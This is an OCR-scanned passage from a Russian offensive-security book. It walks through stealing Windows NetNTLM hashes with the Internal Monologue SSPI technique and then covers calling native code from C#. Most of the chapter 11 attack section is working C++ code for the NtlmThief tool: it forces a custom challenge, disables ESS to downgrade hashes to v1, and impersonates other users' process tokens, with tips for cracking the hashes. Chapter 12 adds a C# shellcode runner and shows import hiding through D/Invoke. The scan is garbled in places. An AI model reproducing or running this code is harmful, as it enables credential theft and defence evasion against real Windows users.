Глава 11. Достаем учетные данные Windows, не трогая LSASS 207 Start l AcqulreCredentialsHandleQ l lnltlallzeSecurltyContextQ Пмучемме 6nо6аот сернра Поnучили бnоб? 1Нет Да SEC_I_CONTINUE_NEl:OED? 1Нет Получение блоба от сервера l Возможности Рис. 11.2. SSPI SSPI на клиенте Известные атаки Теперь, бегло ознакомившись с SSPI, можно переходить к эксплуатации. Есть четыре основных вида атак: □ □ lnternal Monologue NTLMSSP. Извлекаем TGT Delegation - выстраиваем контекст с помощью SSPI, используя NetNTLM-xeш пользователя; выстраиваем контекст с помощью SSPI, используя Kerberos. Причем контекст выстраиваем на машину с неограниченным делегированием, что позволяет из АР-RЕQ-пакета достать ТGТ-билет пользователя;
208 Часть 11. Системное программирование для хакеров Start l AcquireCredentialsНandle() AcceptSecurityC Да Функция вернуnа бnоб? 1Нет Да SEC_I_CONТINULNEEDED? 1Нет .1 ~SSPI Рис. 11.3. SSPI на сервере □ обход UAC с помощью SSPI Datagram Contexts. На GitHub есть https://github.com/antonioCoco/SspiUacBypass; □ LPE РоС: через подмену одного контекста другим. Подробнее github.com/Мuhammad-Ali007 /Loca1Potato м ость получила номер CVE-2023-21746. Я познакомлю вас с первым вариантом. Про в статье «Эксплуатируем 06/14/tgt-delegation/. - на GitHub: https:// CVE-2023-21746/tree/main. Уязви­ TGT Delegation в TGT Delegation можно прочитать Active Directory»: https://xakep.ru/2023/
Глава 11. Достаем учетные данные Windows, не трогая 209 LSASS Внутренний монолог Эту атаку придумал исследователь Элад Шамир (bttps://eladshamir.com). Принцип ее заключается в том, чтобы зарегистрировать свое приложение и как клиент, и как сервер. Затем пройти ауrентификацию, используя NTLMSSP. После успешной ауrентификации серверная часть нашей программы получит NetNTLM-xeш пользо­ вателя. Клие1ПСкая часть программы сгенерирует этот хеш по заданному сервером чеJШенджу. Можем начинать писать эксшюйт! Чтобы бьшо удобнее, я выложил полный код проекта на можешь GitHub: глянуть https://github.com/МzНmO/NtlmThief. А РоС Элада Шамира в его репозитории: bttps://github.com/eladsbamir/lnternal- Monologue. Начнем с режимов. В инструменте я предусмотрел два флага - -downgrade и -pid. Работать тулза будет, только если запускать ее от лица более или менее привилеги­ рованного пользователя. Первый флаг позволяет понизить уровень ауrентификации до уровня NetNTLMv 1. Эта версия чуть более просто брутится. Второй флаг дает возможность получить NetNTLM-xeш владельца определенного процесса. Напри­ мер, если в системе есть процесс and.exe, запущенный от лица user, то получится достать NetNТLM-xeш этого пользователя. Если достаточных привилегий нет, то просто получим NetNТLM-xeш текущего пользователя. Если на системе разрешен NetNТLMv 1, то итоговый хеш будет пер­ вой версии; если не разрешен, то второй. Начнем с получения реквизитов. Как я уже говорил, для этого используется функ­ (https://learn.microsoft.com/en-us/windows/win32/ AcquireCredentialsHandle () ция secauthn/acquirecredentialsbandle--general). Вызываем ее следующим образом. SECURITY_STATUS status = AcquireCredentialsHandleW( (LPWSTR)response.UserName.c_str(), (LPWSTR)L"NТLМ", SECPKG_CRED_вarн, NULL, NULL, NULL, NULL, &_hCred, &ClientLifeTirne ); Первым аргументом указываем имя пользователя, чьи реквизиты хотим получить. Имя пользователя я ранее занес в специальный класс class InternalMonologueResponse puЫic: std: :wstring Challenge = L""; std: :wstring Respl = L""; InternalMonologueResponse.
Часть 210 std: :wstring std: :wstring std: :wstring std: :wstring void Print () std: :wcout 11. Системное программирование для хакеров Resp2 = L""; Domain = L""; UserName = L""; UsernameWithoutDomain = L""; « UsernameWithoutDomain « L"::" << Domain « L":" « Respl « L":" « Resp2 « L":" « Challenge « std: :endl; }; Так как в нашей программе предусмотрено получение NetNTLM чужих пользова­ телей, нужно будет получить имя пользователя через токен текущего потока. LPWSTR GetCurrentUsername() ( НANDLE hToken; if (!OpenThreadToken(GetCurrentThread(), TOКEN_READ,FALSE, &hToken)) if (!OpenProcessToken(GetCurrentProcess(), TOKEN_READ, &hToken)) return (LPWSTR) L'"'; DWORD bufferSize = О; if ( !GetTokeninformation (hToken, TokenUser, NULL, О, &buf ferSize) && GetLastError ( 1 != ERROR_INSUFFICIENT_BUFFER) CloseHandle(hToken); return (LPWSTR)L""; PTOКEN_USER pTokenUser = (PTOКEN_USER)malloc(bufferSize); if ( !pTokenUser) ( CloseHandle(hToken); return (LPWSTR)L""; if (!GetTokeninformation(hToken, TokenUser, pTokenUser, bufferSize, &bufferSize)) { free(pTokenUser); CloseHandle(hToken); return {LPWSTR)L""; WCНAR accountName[МAX_PATH]; WCНAR domainName[МAX_PATH]; DWORD accountNameSize = МАХ РАТН; DWORD domainNameSize = МАХ РАТН; SID NАМЕ USE snu; if (!LookupAccountSidW(NULL, pTokenUser->User.Sid, accountName, &accountNameSize, domainName, &domainNameSize, &snu)) ( free(pTokenUser);
Глава 11. Достаем учетные данные Windows, не трогая LSASS 211 CloseHandle(hToken); return (LPWSTR) L'"'; std: :wstring username ; std: :wstring(domainName) + L"\ \" + std: :wstring(accountName); free(pTokenUser); CloseHandle(hToken); LPWSTR lpwstr; new WCНAR[username.length() + 1); wcscpy_s(lpwstr, username.length() + 1, username.c_str() ); return lpwstr; После получения реквизитов ( они упали в _hCred) можно начинать обмен блобами. Пока еще в клиентской части нашего приложения вызываем Ini tializeSecuri tycontext (1. status; InitializeSecurityContextW( &_hCred, NULL, (LPWSTR)response.UserName.c_str(), ISC_REQ_CONNECTION, о, SECURITY_NATIVE_DREP, NULL, О, &_hClientContext, &ClientToken, &ContextAttributes, &ClientLifeTime ); В эту функцию передается хендл на реквизиты и все то же имя пользователя. Фак­ тически мы говорим, что хотим построить контекст на самих себя. Следующие зна­ чения стандартны для этой функции, нет смысла их пояснять, они описаны в доку­ ментации (https:/Лearn.microsoft.com/en-us/windows/win32/secauthn/initialize securitycontext--ntlm ). После инициализации первичного блоба (начала построения контекста) регистри­ руем серверную часть нашего приложения. Из функции InitializeSecuritycontext 11 нам вернулись необходимые для построения контекста параметры, поэтому переда­ ем их в AcceptSecurityContext (1. Делаем вид, что мы как будто передали эти блобы на сервер, а сервер их получил и начал обрабатывать. status; AcceptSecurityContext( &_hCred, NULL, &ClientToken, ISC_REQ_CONNECTION I ISC_REQ_ALLOCATE_MEMORY, SECURITY_NATIVE_DREP, &_hServerContext,
Часть 212 11. Системное программирование для хакеров &ServerToken, &ContextAttributes, &ClientLifeTime ); Убедившись, что функция завершена успешно, можем считать, что начало есть. Фактически произошло следующее: □ клиент обратился к серверу с целью построения контекста; □ сервер принял запрос и готов обрабатывать все блобы для построения контекста. Остается лишь эмулировать отправку челленджа клиенту. В модели челлендж - NTLMSSP это цифровое значение, которое пользователь должен изменить, ис­ пользуя свой NTLM-xeш. Для этого мы сначала должны преобразовать блоб в поток байтов. Он представлен в моей программе как std: :vector<BYТE>, а преобразование из структуры SecBufferDesc (https://learn.microsoft.com/ru-ru/windows/win32/api/sspi/ns-sspi-secbufferdesc) выполняется с помощью функции GetSecByteBufferArray (). Структура SecBufferDesc описывает передаваемые блобы. std::vector <ВУТЕ> serverМessage; serverМessage = GetSecBufferByteArray(&ServerToken); GetSecBufferByteArray(const SecBufferDesc* pSecBufferDesc) if ( !pSecBufferDesc) { throw std:: invalid_argument ("SecBufferDesc pointer cannot Ье null"); std::vector<BYТE> std::vector<BYТE> buffer; = 1) { SecBuffer* pSecBuffer = pSecBufferDesc->pBuffers; if (pSecBuffer->cbBuffer > О && pSecBuffer->pvBuffer) buffer.resize(pSecBuffer->cbBuffer); rnerncpy(&buffer[O], pSecBuffer->pvBuffer, pSecBuffer->cbBuffer); i; (pSecBufferDesc->cBuffers else size t bytesToAllocate = О; for (unsigned int i = О; i < pSecBufferDesc->cBuffers; ++i) bytesToAllocate += pSecBufferDesc->pBuffers[i] .cbBuffer; buffer.resize(bytesToAllocate); ВУТЕ* pBufferlndex = &buffer[O]; for (unsigned int i = О; i < pSecBufferDesc->cBuffers; ++i) SecBuffer* pSecBuffer = &(pSecBufferDesc->pBuffers[i]);
Глава 11. Достаем учетные данные Windows, не трогая LSASS 213 if (pSecBuffer->cbBuffer > О && pSecBuffer->pvBuffer) { memcpy(pBufferindex, pSecBuffer->pvBuffer, pSecBuffer->cbBuffer); pBufferindex += pSecBuffer->cbBuffer; return buffer; Теперь нужно поработать с челленджем. То есть со значением, которое сервер от­ правляет клиеmу. Челлендж также следует перевести в поток байтов. std: :vector<uintB_t> challengeBytes = StringToByteArray(challenge); std: :vector<uintB_t> StringToByteArray(LPCWSTR hex) std: :wstring hexStr(hex); size_t length = hexStr.length(); if (length % 2 == 1) { return std::vector<uint8 t>(); std::vector<uintB_t> arr(length >> 1); for (size_t i = О; i < length >> 1; ++i) uint8 t msb = (hexStr[i << 1] >= '0' && hexStr[i << l] <= '9') ? hexStr[i << 1] - '0' std::toupper(hexStr[i << 1]) - 'А' + 10; uintB_t lsb = (hexStr[ (i << 1) + 1] >= '0' && hexStr[ (i << 1) + 1] <= '9') ? hexStr[(i << 1) + 1] - 'О' : std::toupper(hexStr[(i << 1) + 1]) - 'А' + 10; arr[i] (msb << 4) + lsb; return arr; Функция выглядит, конечно, страшно, но умные люди подсказали и более аккурат­ ный вариант: https://github.comNuryStrozhevsky/XSEC/ЫoЬ/e6e9bbeab88ab160 631835f363797b1f37794f9f/liЬ/common.h#L122. Затем следует не забывать про мов безопасности для ESS. Extended Session Security - один из механиз­ NetNTLMv 1, направленный на усложнение брутфорса этих хешей. В частности, он позволял предотвратить Rainbow-aтaкy на этот тип хешей, т. к. клиент добавлял и свой челлендж перед тем, как сформировать ответ на сер­ вер. Это изменяет хеш, и пропадает возможность поиска этого хеша в заранее сге­ нерированной таблице «хеш За включение отключаем ESS ESS. - пароль». отвечает всего один бит, поэтому просто меняем его значение и
Часть 214 if (DisaЬleEss) serverMessage[22] В SSPI (ВУТЕ) 11. Системное программирование для хакеров (serverMessage[22] & OxF7); очень много абстракций. Разработчику достаточно вызывать нужные функ­ ции, чтобы получить желаемый результат, а разбираться в глубоких особенностях протокола не требуется. В случае NTLMSSP Windows уже автоматически сгенери­ ровала челлендж, который сервер должен отослать клиенту. Хотя будет правильнее сказать даже не челлендж, а пакет, который содержит всю необходимую информа­ цию, чтобы клиентская сторона, используя свой NTLM-xeш, предоставила ответ, Но мы-то хотим использовать собственный челлендж, а не сгенерированный кем­ то! Поэтому челлендж нужно заменить. К счастью, никаких подписей, которые ·могли бы нам помешать, здесь нет. Поэтому просто по рассчитанным офсетам ко­ пируем наш челлендж. ReplaceChallenge(serverMessage, challengeBytes); void ReplaceChallenge(std: :vector<uint8_t>& serverMessage, const std: :vector<uint8 t>& challengeBytes) std: :copy(challengeBytes.begin(), challengeBytes.begin() + 8, serverMessage.begin() + 24); std::fill(serverMessage.begin() + 32, serverMessage.begin() + 48, О); Дело за малым. Делаем Ini tializeSecuri tyContext 1), вид, что клиент получил этот пакет, вызываем и клиент генерирует ответ на челлендж. status = InitializeSecurityContextW( &_hCred, &_hClientContext, (LPWSTR)response.OserNarne.c_str(), ISC_REQ_CONNECTION, О, SECORITY_NATIVE_DREP, &ServerToken, О, &_hClientContext, &ClientToken, &ContextAttributes, &ClientLifeTime ); if (status 1= SEC_E_OK && DisaЬleEss) vfree(ClientSecBuffer2.pvBuffer); vfree(ServerSecBuffer2.pvBuffer); return InternalMonologueForCurrentOser(challenge, false); std: :vector<BYTE> result = GetSecBufferByteArray(&ClientToken); vfree(ClientSecBuffer2.pvBuffer); // Макрос для освобождения nамяти. Нам эти буферы больше не нужны
Глава 11. Достаем учетные данные Windows, не трогая LSASS 215 vfree(ServerSecBuffer2.pvBuffer); ParseNTResponse(result, challenge, response); Обратите внимание, что функция может завершиться неуспешно. В таком случае следует попробовать сгенерировать ответ, не отключая ESS. Итак, остается лишь грамотно распарсить ответ. Для этого я написал отдельную функцию, void ParseNTResponse(const std::vector<BYTE>& message, LPCWSTR challenge, InternalMonologueResponse& result) ( uintlб_t lm_resp_len = *reinterpret_cast<const uintlб_t*>(&message[12] ); uint32 t lm_resp_off = *reinterpret_cast<const uint32_t*>(&message[16] ); uintlб t nt_resp_len = *reinterpret_cast<const uintlб_t*>(&message[20]); uint32 t nt_resp_off = *reinterpret_cast<const uint32_t*>(&message[24] ); uintlб t domain_len = *reinterpret_cast<const uintlб_t*>(&message[28] ); uint32_t domain_off = *reinterpret_cast<const uint32_t*>(&message[32]); std::vector<BYTE> lm_resp(lm_resp_len); std: :vector<BYTE> nt_resp(nt_resp_len); std::vector<BYTE> domain(domain_len); std::copy(message.begin() + lm_resp_off, message.begin() + lm_resp_off + lm_resp_len, lm_resp.begin() ); std: :copy(message.begin() + nt_resp_off, message.begin() + nt_resp_off + nt_resp_len, nt_resp.begin() ); std: :copy(message.begin() + domain_off, message.begin() + domain off + domain_len, domain.begin() ); result.Challenge = challenge; result.UsernameWithoutDomain = SplitDomain(result.UserName); if (nt_resp_len == 24) ( result.Domain = ConvertHex(byteArrayToString(domain) ); result.Respl = byteArrayToString(lm_resp); result.Resp2 = byteArrayToString(nt_resp); else if (nt_resp_len > 24) ( result.Domain = ConvertHex(byteArrayToString(domain)); result.Respl = byteArrayToString(nt_resp) .suЬstr(O, 32); result.Resp2 = byteArrayToString(nt_resp) .suЬstr(32); В ответе по конкретным офсетам можно прочитать длину и смещение всей необ­ ходимой для нас информации. Остается лишь подготовить переменные, которые будут содержать поток байтов, а затем конвертировать этот поток в привычные для нас символы.
Часть 216 11. Системное программирование для хакеров std: :wstring byteArrayT0Str1ng(const std: :vector<BYTE>& byteArray) { std::wstring result; result.reserve(byteArray.size() * 2); for (ВУТЕ Ь : byteArray) wchar_t buf[З]; wsprintf(buf, 1"%02Х", Ь); result.append(buf); return result; И получаем на руки NetNТLM-xeш, который можно смело брутить! А уж если по­ лучили NetNТLM первой версии, то можно для увеличения скорости брута разло­ жить на два DЕS-ключика, советует netmux (https://twitter.com/netmux/status/ 1117805320246636544 ?s=46&t=TBm_wPJq3Yjq WeNBaywНXg). Либо можете вос­ пользоваться онлайновыми сервисами вроде crack.sh (https://crack.sh/crackingntlmvl-w-ess-ssp) или shuck.sh (https://shuck.sh/get-shucking.php ). Итак, время демонстрации! При запуске инструмента без каких-либо аргументов получаем NetNТLM-xeш пользователя (рис. С; \Users \Адм инистр атор. DCBl \Desktop \ VS \ NtlmThief \NtlmThief\x 64 \Debug >. 11.4 ). \NtlmTh1ef. ехе • :,lдминистратор • : CRПJGE • EBB088 21Dl ПED6D73C279 B7A36777888 D0ClC 0044 3SC28D EBB08821D1EE ED6D73C27987A36 777BBBD0C 1C00443SC28D • 11223 3,!45,667788 <. \Usеrs\Админис трат ор . DC01 \Desktop\ VS\fJtlmThief\NtlmThief \ хб4 \Debug > Рис. 11.4. Получение NetNTLM-xeшa пользователя В начале главы я рассказывал про аргумент -pid. Через него указывается PID про­ цесса. Используя магию перевоплощения, можно получить NetNТLM-xeш пользо­ вателя - владельца этого процесса. Все сводится к стандартной манипуляции с токенами. Получаем токен этого чужого процесса и нацепляем на себя. DWORD ApplyProcessToken(DWORD pid) { ImpersonateSelf(SecurityDelegation); НANDLE procHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORМATION, FALSE, pid); НANDLE hSystemTokenНandle; OpenProcessToken(procHandle, TOКEN_DUPLICATE, &hSystemTokenНandle); НANDLE newTokenНandle; DuplicateTokenEx(hSystemTokenНandle, TokenPrimary, TOКEN_ALL_ACCESS, NULL, SecurityDelegation, &newTokenНandle); ImpersonateLoggedOnUser(newTokenНandle); return GetLastError(); А затем в той же последовательности вызываем SSРI-функции. Вновь переходим к демо. Находим щим хеш (рис. PlD 11.5)! процесса, запущенного от лица другого пользователя, и та­
Глава 11. Достаем учетные данные Windows, не трогая V1~ Took ~rs ~r~h i,) Options s Seмoes j8 NetWOlk LSASS Help F1nd handl~ or Dlls ,..r' Systtm 1nform11tюn PID Гi" SefVlceHub.Threade ... 16 Pnvite Ь... User11tJme 186,ббМВ СRINGЕ\д.Амнн и стр11то1 112,ОЗМВ СRINGЕ\Администрато1 59,39М8 CRINGE\Aд,,lиttиcтpiTOJ З8,34МВ СRINGЕ\Адwинистрато1 184,81 мв 9S,59MB CRINGE\Aдuини~тot ~ceHub.St'tt,ngs... г ■"' vcpkgяv.ec:e [i"1 Wd)Vi-Нon.ol! '8 msedgtwdм~2 . o:e wi m~g~1Ni>2... );а m~g~bv,~2... ~ ms~9~Ьv11!w2... ~ m~gtwIOVIN-2... б6J2 - 289,93 78,33 мв CRINGE\AN,,tини~тoi СRINGЕ\Адм инмст~то~ мв CRINGE\Aдl,.tинмcrp.пOJ 21,.ц; мв СRINGЕ\д.Аминистр,,1 01 272 kB 12-4,08 мв СRINGЕ\Адu инистрато1 CRINGE\AN,lнниcтp4ТOJ 7'6) З~б6МВ 7616 30,64 мв СRINGЕ\д.Ам иннстратОJ 1,79МВ СRINGЕ\А,,,м инмст~то~ 17, 16 мв ~52 мв СRI NGЕ\Админкстрат01 7752 4608 7452 б,38 МВ СRINGЕ\Админмстр•то~ СRINGЕ\ддм мн1КТр.п01 СRI NGЕ\Адм мнж:тр<Jтоt а ms~9-eЬv1~2... В360 20,2МВ СR1NGЕ\Адм инисrрат01 .i mSI09N"t:bv1tw2... 8372 16,88 мв CRINGE\A,.,,,,lмнж:тp•ТOJ VsDebu9Conюle.e(e iil conhost.v.e 11.5. О, 1/0lol.tl ... 5672 Ci" Sбvкбiub.Host.An.,. Рис. CPU 1560 lil<IJ 4336 6732 7304 7568 6568 ГГ ~к~ub.TбtWin ... 7"" ЖVl<d-iub.Oillt<1Wм ... v [il vshost.exe 8 6996 5704 Г.- ЖV!ceHub.lndo:ing ... ~1ceHub.lntdl1co... v ~ Х (i"' ~ceHub.Host.net ... Г ■' V !О СЬk [Т ~кeHub.VSOdou ... v 217 7508 144 0,98 9136 l.,S4 MB CRJNGE\•d•m 5,29 мв CRJNG d,m мв СRINGЕ\ддм мнм сrрато1 S,14MB СRJNGЕ\АдимнМ<Тр<Jтоr Получение чужого NetNTLM-xeшa Заключение Встроенные в систему Windows механизмы очень удобны для разработчика, но некоторые из них могут без проблем предоставить выигрыш и атакующему, в чем мы, собственно, сегодня и убедились .
ГЛАВА 12 Ищем способы обращения к нативному коду из С# Одним из немногих минусов С# считается некоторая сложность при вызове мето­ WinAPI. Многие возможности уже перекочевали в сборки, но до сих пор при­ ходится часто сталкиваться с задачей вызова функций Win32 напрямую. В таком дов случае используются Plnvoke, Dlnvoke и их производные. В этой главе я покажу, как работают эти методы, и мы научимся вызывать функции WinAPI из управляе­ мого кода. Разработчики инструментов из категории offensive постепенно отказываются от зубодробительных «плюсов» и геройского ассемблера и переходят к более прият­ ным, добрым, отзывчивым и миловидным языкам. Конечно, опрометчиво называть С# легким. В нем есть и сложные концепции - попробуй человеку с улицы понят­ ным языком объяснить отличия IEnumeraЫe от IEnumerator, IComparer от IComparaЫe, рассказать о плюсах TPL и PLINQ, растолковать рефлексию, а уж про маршалинr или внутреннее устройство ЛТ-компилятора я даже не заикаюсь (впро­ чем, последний относится к платформе CLR). При разработке программ для Windows сложно не использовать WinAPI. Конечно, многие методы уже успешно портированы в отдельные сборки .NET. Например, вместо GetUserName (1 достаточно обращаться вот к такой функции: System.Security.Principal.Windowsidentity.GetCurrent() .Name Впрочем, если вы захотите копнуть чуть глубже, то придете к выводу, что намного лучше (и стабильнее) будет обращаться напрямую к методу WinAPI, чем доверять свой код непонятным, давно неподдерживаемым опенсорсным сборкам от симпатя­ ги индуса с GitHub. Просто так WinAPI не вызвать. И приходится искать ухищрения, чтобы научить управляемый код обращаться к нативным методам. Давайте посмотрим, что это за методы. Platform lnvoke Platform Invoke ( он же Static Invoke) WinAPI из С#. Он отлично описан единственный «легальный» вызов методов в официальной документации Microsoft
Глава 12. Ищем способы обращения к нативному коду из С# 219 (https:/Лearn.microsoft.com/en-us/archive/msdn-magazine/2003/july/net-column­ calling-win32-dlls-in-csharp-with-p-invoke). Использовать его просто - все завязано на директиве Dllimport. Сначала в нашем коде на С# идет объявление целевой функции для вызова, указание DLL, из кото­ рой эту функцию брать, а после можно смело обращаться к ней из управляемого кода. Например, так может выглядеть стандартный шелл-код-раннер через memcpy (), CreateThread() И VirtualAlloc (), WaitForSingleObject (): [Dlllmport ("kernel32. dll")) static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); puЫic [Dlllmport ("kernel32. dll") ) puЬlic static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadld); (Dlllmport ("kernel32. dll")) static extern Ulnt32 WaitForSingleObject(IntPtr puЬlic puЬlic hНandle, Ulnt32 dwМilliseconds); static void StartShellcode(byte() shellcode) { uint threadld; IntPtr alloc = VirtualAlloc (IntPtr. Zero, shellcode. Length, (uint) (AllocationType. Cornmi t AllocationType.Reserve), (uint)MemoryProtection.ExecuteReadWrite); if (alloc == IntPtr.Zero) { return; Marshal.Copy(shellcode, О, alloc, shellcode.Length); IntPtr threadНandle = CreateThread(IntPtr.Zero, О, alloc, IntPtr.Zero, WaitForSingleObject(threadНandle, 0xFFFFFFFF); В данном случае создаются полноценные прототипы О, out threadld); используемых нативных функций. Отдельно обращу внимание на указание целевой библиотеки, из которой они вызываются. Такой механизм очень похож на вызов этих же самых функций из кода на С++. При таком способе вызова описанные разработчиком функции добавляются в спе­ циальный раздел импорта, который потом резолвится, и появляются адреса, по которым передается поток управления для вызова метода. Не стоит путать этот раздел со стандартным разделом импортов. Нативные функ­ ции, объявленные через с метаданными в РЕ-файл (рис. Platform Invoke, СLR-сборки. 12.l). Этот оказываются в таблице ImplMap, в разделе самый раздел автоматически добавляется
Часть 220 11. Системное программирование для хакеров Ох1СООООО2 ОхОООООООЕ Ох100 Oxf ОхВ/ 2 V1rtudlAll0<. ОхКОООООЗ OJCOOOOOD16 Ох102 Ох11 OxDB ? ( redtPlhrPd(I Ох1СООООО4 OxOOOOODH Ох140 Ох13 Ox6U 3 W.11tlor'>1nglP<JbJP<t Рис. 12.1. Как выглядит таблица lmplMap К счастью, сигнатуры (это строка Dllimport плюс прототип функции) самостоятель­ но писать не нужно. Достаточно заглянуть на один из сайтов с готовыми вариан­ тами: □ pinvoke.net (http://www.pinvoke.net/) - самый популярный вариант, который, увы, иногда не открывается; □ pinvoke.dev (https://www.pinvoke.dev/) - □ p-invoke.net (https://p-invoke.net) - тьфу-тьфу, пока работает; совсем выключился. Как вы видите, в наше суровое время полагаться только на веб-страницы может быть ошибочно, поэтому качайте генератор РЛnvоkе-сигнатур microsoft/CsWin32), написанный в Microsoft. (https://github.com/ Он уж никуда не пропадет ... скорее всего. Что ж, любая простота и абстракция при разработке инструментов атаки работает как в плюс (упрощает жизнь редтимерам), так и в минус (усложняет жизнь редти­ мерам). Ведь распарсить таблицу ImplMap и понять, какие методы ются, не составит труда. Это можно сделать даже на WinAPI использу­ PowerShell (рис. 12.2). $assemЫy = "C:\File.exe" $stream = [System.IO.File]: :OpenRead($assemЬly) $peReader = [System.Reflection.PortaЫeExecutaЫe.PEReader]: :new($stream, [System.Reflection.PortaЫeExecutaЫe.PEStreamOptions]: :LeaveOpen -bor [System.Reflection.PortaЫeExe cutaЫe.PEStreamOptions]: :PrefetchМetadata) $metadataReader = [System.Reflect ion.Metadata.PEReaderExtensions]: :GetMetadataReader($peReader) $assemЬlyDefinition = $metadataReader.GetAssemЬlyDefinition() foreach($typeHandler in $metadataReader.TypeDefinitions) { $typeDef = $metadataReader.GetTypeDefinition($typeHandler) foreach($methodНandler in $typeDef.GetMethods()) { $methodDef = $metadataReader . GetMethodDefinition($methodНandler) $import = $methodDef.Getimport() if ($import.Module.IsNil) { continue $dllimportFuncName = $metadataReader.GetString($import.Name) $dllimportParameters = $import.Attributes.ToString() $dllimportPath = $metadataReader.GetString($metadataReader.GetModuleReference($import.Module) .Name) Write-Host "$dllimportPath, $dllimportParameters'n$dllimportFuncName ' n"
Глава PS » 12. Ищем С :\> ~~ )) ,,» способы обращения к нативному коду из С# 221 • r..,~ ,• 1-- ( s. ';"" ":"••.?г -~ l f"" l,.., s~e ~,] .--: ~. -1'- ('d-.:er . TypeOe,f 1n1 t1ons ) { ;~.... ~;; : -~ .. ~,:_., ,.1.•- . Get TypeOef ini t ion ( s· :-, ::E"~.,~ji .,.,. ) . :- .-. ,,., • i,.,,:.-' . GetHethods ()) { ,· ,.,' •• , · ( S-··· ~ ....., ·,; _;,, • d ~':?; 1~ •• . GetМethodDef ini t ion ( !,11t-~ r :.idl'"'d" ,::: l e,r' ) $"'1<-' ~ • s~, ... с>,· . Getl11port () ;;-; ( 5 ~,-_. t .Нodule.IsNil) { )) » » » » » )-:.:.:;:.. ~ -1· ,tL.:--,1j.:-r . GetString( S 1:-np(),...~ .Ni1rte) ! "': • • . Attributes . ToString() •-,,,,,. !-,. • , •,,• , ,. , с .. • . GetString ( s~,, а,,: aRe Jce- . GetlloduleReference( S: •; _,., S.j;,:•r_-•;,••· ~·.::"ё;:-~r·~r,.:i•;1~,,,~ ....... ~ •S~l~I""r•:r~;-.:r-~••(;!'WE' г - ,_ ·,.,-,t- )) ~,. Write•HOSt )) )) .НOdule), №1811 ) )) » } kernel32 . dll, ExactSpelling, SetLastError, CallingConventionwinApi OpenProcess kernel32, dl 1, •ExactSpel ling, SetLas tError, Call ingConventionWinApi Virtua!AllocEx kernel32.dll, CallingConventionWinApi wr! teProcessMet00ry kernel32,dll, CallingConvent!onwinApi С reateRfraoteThrec1d Рис. 12.2. Пример вывода Импорты можно rлянуrь и через более специализированное ПО, такое как (bttps://www.mono-project.com/docs/tools+libraries/tools/monodis/) многим dnSpy (bttps://gitbub.com/dnSpyEx/dnSpy). monodies или известный Поэтому люди стали придумывать иные методы вызова неуправляемого кода из С# , чтобы как минимум скрыть импорты. Dynamic lnvoke Этот механизм использует делегаты, чтобы получить доступ к методам из неуправ­ ляемого кода. Делегат, если упростить, можно считать указателем на функцию . В С# не как в С++ - здесь имя функции не равно адресу функции . Чтобы, напри­ мер, передать функцию как колбэк, потребуется использовать делегат. Ниже при­ мер простейшего делегата. us ing System; us ing System.Di agnost i cs ; us ing System.Runtirne .InteropServices; narnespace Ternpl ate puЫic delegate int Operat ion(int cl ass Prog rarn s t at ic void Mai n() var var а= Ь = 2; 3; х, i nt у) ;
Часть 222 Operation ор = Add; Console.WriteLine(op(a, ор = Multiply; Console.WriteLine(op(a, 11. Системное программирование для хакеров Ь) ); // Вызывается Add => 5 Ь) ); // Вызывается Multiply => 6 static int Add(int х, int у) => х + у; static int Multiply(int х, int у) => х * у; Как видите, идет объявление делегата: возвращаемое значение, принимаемые аргу­ менты, все-все данные. Затем можно инициализировать этот делегат конкретным методом и, обратившись к делегату, вызвать функцию. Так вот, Dynamic можно Invoke считать сишарпным GetModuleHandle () и GetProcAddress (). Этот механизм позволяет получить базовый адрес библиотеки, про­ бежаться по экспортам, обнаружить адрес необходимой функции и инициализиро­ вать этим адресом конкретный делегат через GetDelegateForFunctionPointer (). Как след­ ствие, в таблице импортов скомпилированной .NЕТ-сборки не будет никаких по­ дозрительных записей (в отличие от того, как было при Самый известный Dlnvoke/tree/main). РоС - творение P/Invoke). TheWover (https://github.comffheWover/ В нем есть несколько основных методов: □ GetLibraryAddress () - эта функция сначала проверяет, не загружена ли уже целе­ вая библиотека (метод из которой мы хотим вызвать) в память. Для этого она вызывает функцию GetLoadedМoduleAddress (). Если либа не загружена, то загружа­ ется с помощью LoadМoduleFromDisk 1). Если загружена дергается функция GetExportAddress 1) для поиска адреса функции в модуле; □ GetLoadedМoduleAddress () - использует Process. GetCurrentProcess () . Modules, чтобы оп­ ределить, загружена ли уже библиотека в процесс; □ LoadМoduleFromDisk 1) - □ GetExportAddress () - загружает DLL в память процесса с помощью LdrLoadDll 1); парсит таблицу экспортов конкретного модуля, отталкиваясь от его базового адреса, с целью найти функции. Функция может идентифициро­ ваться по строковому имени или хешу (механизм □ GetPeЬLdrModuleEntry 1) - API Hashing); обнаруживает базовый адрес загрузки модуля, анализи­ руя РЕВ; □ GetSyscallStuЬ () - эта функция используется для маппинга в память процесса модуля ntdll. ctll, причем с извлечением конкретной функции. Служит для ис­ полнения прямых сисколов. Проект также предоставляет несколько методов, которые позволяют загружать библиотеку не с диска, а из памяти: □ MapModuleToMemory 1) - механизм Memory Module. Реализует ручной маппинг бай­ тов библиотеки в динамически выделенную память. Может принимать либо массив байтов, либо имя файла на диске;
Глава □ 12. Ищем способы обращения к нативному коду из С# MapModuleToMemoryAddress () - 223 позволяет вручную маппить модуль, который уже находится в памяти (массив байтов) по определенному адресу; □ OverloadМodule () - использует Module Overloading для отображения модуля в па­ мять на место, где смапплена другая либа. Перезаписывается случайная DLL, которая лежит в с: \Windows \System32 и имеет цифровую подпись. Этот метод может принимать либо массив байтов, либо имя файла на диске. Вот отличный пример, где используются некоторые из этих методов. using System; namespace SpTestcase class Program static void Main(string[] args) { String testDet.ail = @" #=================> # Hello there! # I find things dynamically; base # addresses and function pointers. #=================> "; Console.WriteLine(testDetail); Console.WriteLine("[?] Resolve Ntdll base from the РЕВ .. "); IntPtr hNtdll = SharpSploit.Execution.Dynamicinvoke.Generic. GetPeЫdrModuleEntry ("ntdll. dll") ; Console.WriteLine("[>] Ntdll base address : " + string.Format("{0:X}", hNtdll. Toint64 (11 + "\n" 1; DLL (\"ntdll.dll\"), resolve а function walking the export taЬle in-memory .. "); Console.WriteLine("[+] Search Ьу name --> NtCommitComplete"); IntPtr pNtCommitComplete = SharpSploit.Execution.Dynamicinvoke.Generic. GetLibraryAddress("ntdll.dll", "NtCommitComplete", true); Console.WriteLine("[>] pNtCommitComplete : "+ string.Format("{0:X)", 